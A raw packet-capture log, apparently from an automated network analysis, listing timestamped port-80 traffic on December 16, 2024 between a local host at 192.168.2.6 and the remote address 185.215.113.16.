Dec 16, 2024 15:38:26.562592983 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.562712908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.563374996 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.563389063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.563400984 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.563445091 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.563507080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.613605976 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.690012932 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.690078020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.690083027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.690159082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.690330982 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.690330982 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.690402031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.690568924 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.690576077 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.690639973 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.690707922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.691255093 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.691297054 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.691327095 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.691351891 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.691351891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.691373110 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.691803932 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.691858053 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.691869020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.691874981 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.691919088 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.691956997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.692610025 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.692629099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.692641020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.692670107 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.692744970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.692785978 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.692785978 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.693389893 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.693454027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.693460941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.693504095 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.693555117 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.694201946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.694283962 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.694289923 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.694348097 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.694377899 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.694700956 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.695080042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.695087910 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.695101023 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.695132971 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.695152998 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.695180893 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.695982933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.696024895 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.696032047 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.696083069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.696094990 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.696125031 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.696744919 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.696778059 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.696784019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.696821928 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.696850061 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.696877956 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.697499990 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.697551012 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.697557926 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.697614908 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.697638035 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.698343992 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.698395014 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.698400974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.698421955 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.698462009 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.698587894 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.698978901 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.699028969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.699109077 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.699115992 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.699166059 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.699202061 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.699731112 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.699762106 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.699769974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.699793100 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.699817896 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.699872971 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.700521946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.700562000 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.700567961 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.700577974 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.700601101 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.700714111 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.701400995 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.701432943 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.701443911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.701494932 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.701567888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.702164888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.702178001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.702181101 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.702225924 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.702311039 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.702426910 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.702936888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.703021049 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.703035116 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.703041077 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.703080893 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.703739882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.703768969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.703775883 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.703824997 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.703855991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.704480886 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.704514027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.704524994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.704530954 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.704576015 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.704663992 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.705383062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.705457926 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.705491066 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.705574989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.705580950 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.705632925 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.706051111 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.706111908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.706124067 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.706171989 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.706202030 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.706248999 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.706918955 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.707035065 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.707086086 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.707097054 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.707153082 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.707662106 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.707741022 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.707746983 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.707787037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.707797050 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.708446980 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.708492994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.708498955 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.708524942 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.708542109 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.708599091 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.708648920 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.709234953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.709279060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.709294081 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.709336042 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.709400892 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.710036039 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.710072994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.710081100 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.710103035 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.710149050 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.882050991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.882078886 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.882085085 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.882158995 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.882174015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.882230043 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.882463932 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.882503033 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.882509947 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.882565022 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.882953882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.883011103 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.883018017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.883104086 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.883105993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.883733988 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.883780956 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.883786917 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.883786917 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.883820057 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.883852959 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.884490967 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.884552002 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.884562969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.884578943 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.884613991 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.884671926 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.885330915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.885348082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.885361910 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.885405064 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.885474920 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.886111975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.886125088 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.886131048 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.886168957 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.886190891 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.886320114 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.887034893 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.887041092 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.887048006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.887069941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.887172937 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.887670994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.887717962 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.887725115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.887794018 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.887820005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.888468981 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.888540030 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.888542891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.888588905 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.888590097 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.889273882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.889362097 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.889373064 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.889416933 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.889446020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.890081882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.890152931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.890160084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.890162945 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.890194893 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.890309095 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.890878916 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.890947104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.890954018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.890961885 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.890997887 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.891032934 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.891669989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.891717911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.891729116 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.891774893 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.891920090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.892437935 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.892491102 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.892498016 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.892501116 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.892538071 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.892574072 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.893240929 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.893270969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.893276930 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.893300056 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.893320084 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.893371105 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.894093037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.894180059 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.894186020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.894224882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.894237041 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.894845963 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.894932032 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.894937992 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.894973993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.894980907 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.895687103 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.895751953 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.895766020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.895771980 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.895812035 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.895960093 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.896409035 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.896451950 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.896464109 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.896512985 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.896553993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.897233963 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.897277117 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.897283077 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.897303104 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.897321939 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.897387981 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.897993088 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.898044109 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.898050070 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.898113012 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.898175955 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.898778915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.898838043 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.898844957 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.898853064 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.898916006 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.898922920 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.899545908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.899605036 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.899611950 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.899619102 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.899661064 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.899701118 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.900388956 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.900432110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.900451899 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.900509119 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.900528908 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.901184082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.901269913 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.901274920 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.901348114 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.901367903 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:26.901942015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.901983023 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.901994944 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.902065992 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:26.902304888 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.074286938 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.074354887 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.074362993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.074374914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.074449062 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.074529886 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.074618101 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.074717999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.074832916 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.075041056 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.075105906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.075112104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.075123072 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.075160980 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.075541019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.075612068 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.075619936 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.075771093 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.075895071 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.076361895 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.076390028 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.076396942 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.076478004 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.076505899 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.076524973 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.077204943 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.077296972 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.077310085 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.077316999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:27.077372074 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.077411890 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:27.077929974 CET	80	49747	185.215.113.16	192.168.2.6
